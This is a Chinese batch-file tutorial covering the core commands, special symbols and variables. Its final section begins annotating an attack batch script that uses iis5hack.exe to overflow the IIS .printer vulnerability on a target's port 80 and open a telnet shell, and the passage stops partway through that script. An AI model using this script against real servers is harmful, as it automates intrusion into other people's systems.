什麽是批處理？

就是把很多執行操作按照自己需要的順序和參數排列，壹次性執行！

通常為.bat文件！！！

精通批處理教程

最近好多猜測弱口令的病毒在網上流行，比如前段時間鬧得很厲害的Worm.Dvldr 蠕蟲就是壹個典型。這些病毒有個***同點就是利用批處理來進行ipc$連接，從而來猜測管理員的口令達到控制服務器的目的。病毒由幾個文件和幾個復雜的批處理組成。批處理算不上真正意義上的編程，但是它的壹些思想和編程比較近似。通過在網上和壹些初學的朋友交流，發現他們對於批處理很感興趣，多多少少了解壹些命令的用法，但缺乏比較系統的了解，所以特意寫下這篇教程，好讓感興趣的朋友對批處理有個整體的認識，並能通過該教程舉壹反三，寫出自己的批處理。

該教程壹***分為4大部分，第壹部分是批處理的專用命令，第二部分是特殊的符號與批處理，第三部分是批處理與變量，第四部分是完整案例。因為教程比較長，所有在雜誌上我們將分為兩次連載，本期首先刊登壹、二兩部分，敬請讀者註意。

第壹部分：批處理的專用命令:

批處理文件是將壹系列命令按壹定的順序集合為壹個可執行的文本文件，其擴展名為BAT。這些命令統稱批處理命令，下面我就來給大家介紹壹下批處理的命令。

1、 REM

REM 是個註釋命令壹般是用來給程序加上註解的，該命令後的內容在程序執行的時候將不會被顯示和執行。例：

REM 妳現在看到的就是註解，這壹句將不會被執行。在以後的例子中解釋的內容都REM 會放在REM後面。請大家註意。

2、 ECHO

ECHO 是壹個回顯命令主要參數有OFF和 ON,壹般用ECHO message來顯示壹個特定的消息。例：

Echo off

Rem 以上代表關閉回顯即不顯示所執行的命令

Echo 這個就是消息。

Rem 以上代表顯示“這就是消息”這列字符

執行結果：

C:\>ECHO.BAT

這個就是消息。

3、 GOTO

GOTO 即為跳轉的意思。在批處理中允許以“：XXX”來構建壹個標號然後用GOTO ：標號直接來執行標號後的命令。例

:LABEL

REM 上面就是名為LABEL的標號。

DIR C:\

DIR D:\

GOTO LABEL

REM 以上程序跳轉標號LABEL處繼續執行。

4、CALL

CALL 命令可以在批處理執行過程中調用另壹個批處理，當另壹個批處理執行完後再繼續執行原來的批處理。例：

批處理2.BAT內容如下：

ECHO 這就是2的內容

批處理1.BAT內容如下：

ECHO 這是1的內容

CALL 2.BAT

ECHO 1和2的內容全部顯示完成

執行結果如下：

C:\>1.BAT

這是1的內容

這就是2的內容

1和2的內容全部顯示完成

5、PAUSE

PAUSE 停止系統命令的執行並顯示下面的內容。例：

C:\> PAUSE

請按任意鍵繼續 . . .

6、 IF

IF 條件判斷語句，語法格式如下：

IF [NOT] ERRORLEVEL number command

IF [NOT] string1==string2 command

IF [NOT] EXIST filename command

說明：

[NOT] 將返回的結果取反值即“如果沒有”的意思。

ERRORLEVEL 是命令執行完成後返回的退出值

Number 退出值的數字取值範圍0~255。判斷時值的排列順序應該又大到小。返回的值大於或等於指定的值時條件成立。

string1==string2 string1和string2都為字符的數據，英文字符的大小寫將看做不同，這個條件中的等於號必須是2個（絕對相等），條件想等後即執行後面的 command

EXIST filename 為文件或目錄存在的意思。

IF ERRORLEVEL這條語句必須放在某壹個命令後面。執行命令後由IF ERRORLEVEL來判斷命令的返回值。

例：

1、 IF [NOT] ERRORLEVEL number command

檢測命令執行完後的返回值做出判斷。

echo off

dir z:

rem 如果退出代碼為1（不成功）就跳至標題1處執行

IF ERRORLEVEL 1 goto 1

rem 如果退出代碼為0（成功）就跳至標題0處執行

IF ERRORLEVEL 0 goto 0

echo 命令執行成功！

Rem 程序執行完畢跳至標題exit處退出

goto exit

echo 命令執行失敗！

Rem 程序執行完畢跳至標題exit處退出

goto exit

:exit

Rem 這裏是程序的出口

2、 IF string1==string2 command

檢測當前變量的值做出判斷

ECHO OFF

IF %1==2 goto no

Echo 變量相等！

Goto exit

:no

echo 變量不相等

goto exit

:exit

大家可以這樣看效果 C:\>test.bat 數字

3、 IF [NOT] EXIST filename command

發現特定的文件做出判斷

echo off

IF not EXIST autoexec.bat goto 1

echo 文件存在成功！

goto exit

echo 文件不存在失敗！

goto exit

:exit

這個批處理大家可以放在c盤和d盤分別執行看看效果。

7、 FOR

FOR這個命令比較特殊是壹個循環執行命令的命令，同時FOR的循環裏面還可以套用FOR在進行循環。這篇我們介紹基本的用法就不做套用的循環了，後面再來講解套用的循環。在批處理中FOR的命令如下：

FOR [%%c] IN (set) DO [command] [arguments]

在命令行中命令如下：

FOR [%c] IN (set) DO [command] [arguments]

常用參數：

/L 該集表示以增量形式從開始到結束的壹個數字序列。因此，(1,1,5) 將產生序列 1 2 3 4 5，(5,-1,1) 將產生序列 (5 4 3 2 1)。

/D 如果集中包含通配符，則指定與目錄名匹配，而不與文件名匹配。

/F 從指定的文件中讀取數據作為變量

eol=c - 指壹個行註釋字符的結尾(就壹個)

skip=n - 指在文件開始時忽略的行數。

delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。

tokens=x,y,m-n - 指每行的哪壹個符號被傳遞到每個叠代的 for 本身。這會導致額外變量名稱的分配。m-n格式為壹個範圍。通過 nth 符號指定 mth。如果符號字符串中的最後壹個字符星號，那麽額外的變量將在最後壹個符號解析之後分配並接受行的保留文本。

usebackq - 指定新語法已在下類情況中使用:在作為命令執行壹個後引號的字符串並且壹個單引號字符為文字字符串命令並允許在 filenameset中使用雙引號擴起文件名稱。

下面來看壹個例子：

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k

會分析 myfile.txt 中的每壹行，忽略以分號打頭的那些行，將每行中的第二個和第三個符號傳遞給 for 程序體；用逗號和/或空格定界符號。請註意，這個 for 程序體的語句引用 %i 來取得第二個符號，引用 %j 來取得第三個符號，引用 %k來取得第三個符號後的所有剩余符號。對於帶有空格的文件名，您需要用雙引號將文件名括起來。為了用這種方式來使用雙引號，您還需要使用 usebackq 選項，否則，雙引號會被理解成是用作定義某個要分析的字符串的。

%i 專門在 for 語句中得到說明，%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens= 壹行指定最多 26 個符號，只要不試圖說明壹個高於字母 'z' 或'Z' 的變量。請記住，FOR 變量名分大小寫，是通用的；而且，同時不能有 52 個以上都在使用中。

您還可以在相鄰字符串上使用 FOR /F 分析邏輯；方法是，用單引號將括號之間的 filenameset 括起來。這樣，該字符串會被當作壹個文件中的壹個單壹輸入行。最後，您可以用 FOR /F 命令來分析命令的輸出。方法是，將括號之間的 filenameset 變成壹個反括字符串。該字符串會被當作命令行，傳遞到壹個子 CMD.EXE，其輸出會被抓進內存，並被當作文件分析。因此，以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變量名稱。

以下列舉壹個簡單的例子，他將說明參數/L和沒有參數的區別：

刪除文件1.TXT 2.TXT 3.TXT 4.TXT 5.TXT

例：

ECHO OFF

FOR /L %%F IN (1,1,5) DO DEL %%F.TXT

或

FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT

以上2條命令執行的結果都是壹樣的如下：

C:\>DEL 1.TXT

C:\>DEL 2.TXT

C:\>DEL 3.TXT

C:\>DEL 4.TXT

C:\>DEL 5.TXT

8、 SETLOCAL

開始批處理文件中環境改動的本地化操作。在執行 SETLOCAL 之後

所做的環境改動只限於批處理文件。要還原原先的設置，必須執

行 ENDLOCAL。達到批處理文件結尾時，對於該批處理文件的每個

尚未執行的 SETLOCAL 命令，都會有壹個隱含的 ENDLOCAL 被

執行。例：

@ECHO OFF

SET PATH /*察看環境變量PATH

PAUSE

SETLOCAL

SET PATH=E:\TOOLS /*重新設置環境變量PATH

SET PATH

PAUSE

ENDLOCAL

SET PATH

從上例我們可以看到環境變量PATH第1次被顯示得時候是系統默認路徑。被設置成了E:\TOOLS後顯示為E:\TOOLS但當ENDLOCAL後我們可以看到他又被還原成了系統的默認路徑。但這個設置只在該批處理運行的時候有作用。當批處理運行完成後環境變量PATH將會還原。

9、 SHIFT

SHIFT命令可以讓在命令上的的命令使用超過10個（%0~%9）以上的可替代參數例：

ECHO OFF

ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

SHIFT

ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

SHIFT

ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

執行結果如下：

C::\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11

1 2 3 4 5 6 7 8 9

2 3 4 5 6 7 8 9 10

3 4 5 6 7 8 9 10 11

以上就是基於WIN2000下的9個批處理命令。

第二部分：特殊的符號與批處理

在命令行下有些符號是不允許使用的但有些符號卻有著特殊的意義。

1、符號(@)

@在批處理中的意思是關閉當前行的回顯。我們從上面知道用命令echo off可以關掉整個批處理的命令回顯但卻不能不顯示echo off這個命令。現在我們在這個命令前加上@這樣echo off這壹命令就被@關閉了回顯從而達到所有命令均不回顯得要求

2、符號(>)

>的意思是傳遞並覆蓋。他所起的作用是將運行後的回顯結果傳遞到後面的範圍（後面可是文件也可是默認的系統控制臺）例：

文件1.txt的文件內容為：

1+1

使用命令c:\>dir *.txt >1.txt

這時候1.txt的內容如下

驅動器 C 中的卷沒有標簽。

卷的序列號是 301A-1508

C:\ 的目錄

2003-03-11 14:04 1,005 FRUNLOG.TXT

2003-04-04 16:38 18,598,494 log.txt

2003-04-04 17:02 5 1.txt

2003-03-12 11:43 0 aierrorlog.txt

2003-03-30 00:35 30,571 202.108.txt

5 個文件 18,630,070 字節

0 個目錄 1,191,542,784 可用字節

>將命令執行的結果覆蓋了原始的文件內容。

在傳遞給控制臺的時候程序將不會有任何回顯（註意：這裏的回顯跟echo off關掉的回顯不是同壹概念。Echo off關掉的是輸入命令的回顯，這裏的回顯是程序執行中或後的回顯）例：

C:\>dir *.txt >nul

程序將沒有任何顯示也不會產生任何痕跡。

3、符號(>>)

符號>>的作用與符號>相似，但他們的區別在於>>是傳遞並在文件末尾追加>>也可將回顯傳遞給控制臺（用法同上）例：

文件1.txt內同為：

1+1

使用命令c:\>dir *.txt >>1.txt

這時候1.txt的內容如下

1+1

驅動器 C 中的卷沒有標簽。

卷的序列號是 301A-1508

C:\ 的目錄

2003-03-11 14:04 1,005 FRUNLOG.TXT

2003-04-04 16:38 18,598,494 log.txt

2003-04-04 17:02 5 1.txt

2003-03-12 11:43 0 aierrorlog.txt

2003-03-30 00:35 30,571 202.108.txt

5 個文件 18,630,070 字節

0 個目錄 1,191,542,784 可用字節

>>將命令執行的結果覆加在了原始的文件內容後面。

4、符號(|)

|是壹個管道傳輸命令意思是將上壹命令執行的結果傳遞給下壹命令去處理。例：

C:\>dir c:\|find "1508"

卷的序列號是 301A-1508

以上命令的意思為查找c:\的所有並發現1508字符串。Find的用法請用 find /?自行查看

在不使用format的自動格式化參數的時候我是這樣來自動格式化盤片的

echo y|fornat a: /s /q /v:system

用過format命令的人都知道format有壹個交互對化過程，要使用者輸入y來確定當前的命令是否被執行。在這個命令前加上echo y並用管道傳輸符|將echo執行的結果y傳遞給format從而達到手工輸入y的目的（這條命令有危害性，測試的時候請謹慎）

5、符號(^)

^ 是對特殊符號 > 、<、 &、的前導字符。在命令中他將以上的3個符號的特殊動能去掉僅僅只吧他們當成符號而不使用他們的特殊意義。例：

c:\>echo test ^> 1.txt

test > 1.txt

從上面可以看出並沒有把test寫入文件1.txt而是將test >1.txt 當字符串顯示了出來。這個符號在遠程構建批處理的時候很有效果。

6、符號(&)

&符號允許在壹行中使用2個以上不同的命令，當第壹個命令執行失敗將不影響第2個命令的執行。例：

c:\> dir z:\ &dir y:\ &dir c:\

以上的命令將會連續顯示z: y: c:盤內的內容不理會該盤符是否存在。

7、符號(&&)

&&符號也是允許在壹行中使用2個以上不同的命令，當第壹個命令執行失敗後後續的命令將不會再被執行。例：

c:\> dir z:\ &&dir y:\ &&dir c:\

以上的命令將會提示檢查是否存在z:盤如果存在則執行，如果不存在則停止執行所有的後續命令

8、符號(" ")

" "符號允許在字符串中包含空格。進入壹個特殊的目錄可以用如下方法例:

c:\>cd “Program Files”

c:\>cd progra~1

c:\>cd pro*

以上方法都可以進入Program Files目錄

9、符號（,）

,符號相當於空格。在某些特殊的情況下可以用,來代替空格使用。例：

c:\>dir,c:\

10、符號(

;符號當命令相同的時候可以將不同的目標用;隔離開來但執行效果不變。如執行過程中發生錯誤則只返回錯誤報告但程序還是會繼續執行。例：

DIR C:\;D:\;E:\F:\

以上的命令相當於

DIR C:\

DIR D:\

DIR E:\

DIR F:\

當然還有些特殊的符號但他們的使用範圍很小我就不再這裏壹壹的說明了。

第三部分：批處理與變量

在批處理中適當的引用變量將會使妳所編制的程序應用面更廣。批處理每次能處理的變量從%0~%9***10個。其中%0默認給批處理的文件名使用。除非在使用SHIFT命令後%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上壹個%0那麽結果如下：

C::\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11

SHIFT.BAT 1 2 3 4 5 6 7 8 9

1 2 3 4 5 6 7 8 9 10

2 3 4 5 6 7 8 9 10 11

系統是如何區分每個變量的呢，系統區分變量的規則為字符串中間的空格，即只要發現空格就把空格前面的字符當作壹個變量而空格後面的字符則作為另壹個變量。如果妳的變量是壹個當中包含空格的長目錄名這時候妳需要用上壹節特殊符號8中所用的引號將他圈起來。例：

批處理內容為：

ECHO %1

ECHO %2

ECHO %3

輸入命令：

C:\>TEST “Program Files” Program Files

Program Files

Program

Files

在壹個復雜的批處理中又可能同時使用的變量會超過10個這時候會和系統的規則想沖突那麽這個問題怎麽解決呢？在系統中還有壹種變量稱之為環境變量（使用SET命令可以查看當前系統的環境變量）如當前系統目錄是%windir%或%SystemRoot%等。當同時使用的參數超過10個的時候，我們可以把某些在後面的程序中還要調用的變量保存為環境變量。具體用法如 SET A=%1 這樣我們就命名了壹個新的環境變量A 在調用變量A的時候要%A%這樣調用，環境變量不受SHIFT命令影響。如果要改變壹個環境變量需要重新對其設置才能改變。當然也可以進行變量與變量之間的傳遞來達到目的。下面我們來看壹個例子，批處理如下：

ECHO OFF

SET PASS=%1

SHIFT

SET PASS1=%1

SHIFT

ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9

SHIFT

ECHO %PASS% %PASS1% %9

SET PASS=%PASS1% 變量的傳遞

SET PASS1=%9

SHIFT

ECHO %PASS% %PASS1% %9

使用命令：C:\>TEST A B 3 4 5 6 7 8 9 10 K L

A B 3 4 5 6 7 8 9 10 K 註意：這壹行顯示了11個變量

A B L 在使用了3次SHIFT之後%9變成了L

B L 變量的傳遞後的結果

第四部分：完整案例

以上就是批處理的壹些用法。現在我們把這些用法結合起來詳細的分析壹下目前網上發布的壹些批處理，看看他們是怎麽運作的。這裏我將列舉三個例子來詳細分析，為了保持程序的完整我的註釋會加在/*後面。

例壹

這個例子是利用iis5hack.exe對有.printer漏洞的主機進行溢出的批處理。用到的程序有iis5hack.exe和系統自帶的telnet.exe。iis5hack的命令格式為：

iis5hack <目標ip> <目標端口> <目標版本> <溢出連接端口>目標版本為0-9這10個數字分別對應不同語言版本和sp的系統版本，我們編制的批處理使用的命令格式為 <iis.bat 目標ip （開始版本號）>開始版本號可有可無。程序如下。

@echo off /*關閉命令回顯

if "%1%"=="" goto help /*判斷%1是否為空，%1為目標ip

if "%2%"=="1" goto 1 /*判斷%2是否為1，為1則跳轉標誌1

if "%2%"=="2" goto 2 /*%2為開始版本號，如果沒有設置則

if "%2%"=="3" goto 3 /*如果存在則從匹配的地方開始執行

if "%2%"=="4" goto 4

if "%2%"=="5" goto 5

if "%2%"=="6" goto 6

if "%2%"=="7" goto 7

if "%2%"=="8" goto 8

if not EXIST iis5hack.exe goto file /*沒有發現iis5hack.exe就執行標誌file段內容

ping %1 -n 1 | find "Received = 1" /*ping目標1次，從結果中發現Received = 1

if errorlevel 1 goto error /*如果返回代碼為1則執行error段(代碼1為沒有發現 0為發現並成功執行)

iis5hack %1 80 9 88 | find "good" /*開始溢出目標端口80 系統代碼9 溢出後連接端口88 在執行結果中發現字符串”good”(溢出成功後才會有字符串good)

if not errorlevel 1 goto telnet /*如果沒有錯誤代碼1（溢出成功）就執行telnet段的內容。

echo 操作系統類型 9 失敗! /否則顯示這壹句

:8 /*以下代碼內容參照上面

iis5hack %1 80 8 88 | find "good"